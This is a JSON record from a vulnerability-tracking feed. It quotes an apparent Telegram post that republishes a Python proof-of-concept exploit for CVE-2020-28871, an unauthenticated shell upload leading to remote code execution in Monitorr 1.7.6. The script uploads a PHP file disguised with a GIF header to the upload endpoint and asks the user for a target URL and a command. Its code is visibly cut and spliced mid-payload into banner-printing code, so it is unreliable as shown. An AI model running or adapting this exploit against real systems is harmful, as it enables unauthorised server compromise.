{"uuid": "8ddba7b7-82c6-4d37-b403-a90e157ff650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-28871", "type": "seen", "source": "https://t.me/hacking_Attack/89753", "content": "Exploit Collector\nMonitorr 1.7.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nMonitorr version 1.7.6 remote shell upload proof of concept exploit written in Python.\n\nSHA-256 | c0040528446da97e96fe4067b3c78e371267bbe3dfac766ad6862a81992f7d59\n\nDownload\n# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n# Exploit Author: Achuth V P (retrymp3)\n# Date: February 09, 2023\n# Vendor Homepage: https://github.com/Monitorr/\n# Software Link: https://github.com/Monitorr/Monitorr\n# Tested on: Ubuntu\n# Version: v1.7.6\n# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability\n# CVE: CVE-2020-28871\n\nimport requests\nimport random\nimport string\n#from requests.auth import HTTPBasicAuth\nfrom colorama import (Fore as F, Back as B, Style as S)\nBR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT\n\ndef payL():\nfileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'\ntf1=requests.post(url+'/assets/php/upload.php',\nfiles=(\n('fileToUpload', (fileName, 'GIF87a\\n||__-__-_|         \\n\"\nSIG += FY+\"         \"+FR+\"|  |.'  ,||_______          \"+FY+\"\\n\"\nSIG += FY+\"         |    _ < ||__-__-_|\"+FR+\"*  *  *\"+FY+\" \\n\"\nSIG += FY+\"         |  |\\  \\ ||__-__-_\\n\"\nSIG += FY+\"         \"+FR+\"|___ \\_ \\||_______| \"+FY+\"\\n\"\nSIG += FY+\"\\n\"+\"    _____\"+FR+\"github.com/retrymp3\"+FY+\"_____\\n\"+ST\nreturn SIG\n\ndef argsetup():\nabout  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\\n'+ST\nreturn about\n\nif __name__ == \"__main__\":\nheader = SB+FT+\"\\n\"+'             '+FR+'retrymp3\\n'+ST\nprint(header)\nprint(sig())\nprint(argsetup())\n#proxies = {\"http\": \"http://127.0.0.1:8080\", \"https\": \"http://127.0.0.1:8080\"}\nurl=input(\"Enter the base url: \")\ncmd=input(\"Command: \")\npayL()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:05.018648Z"}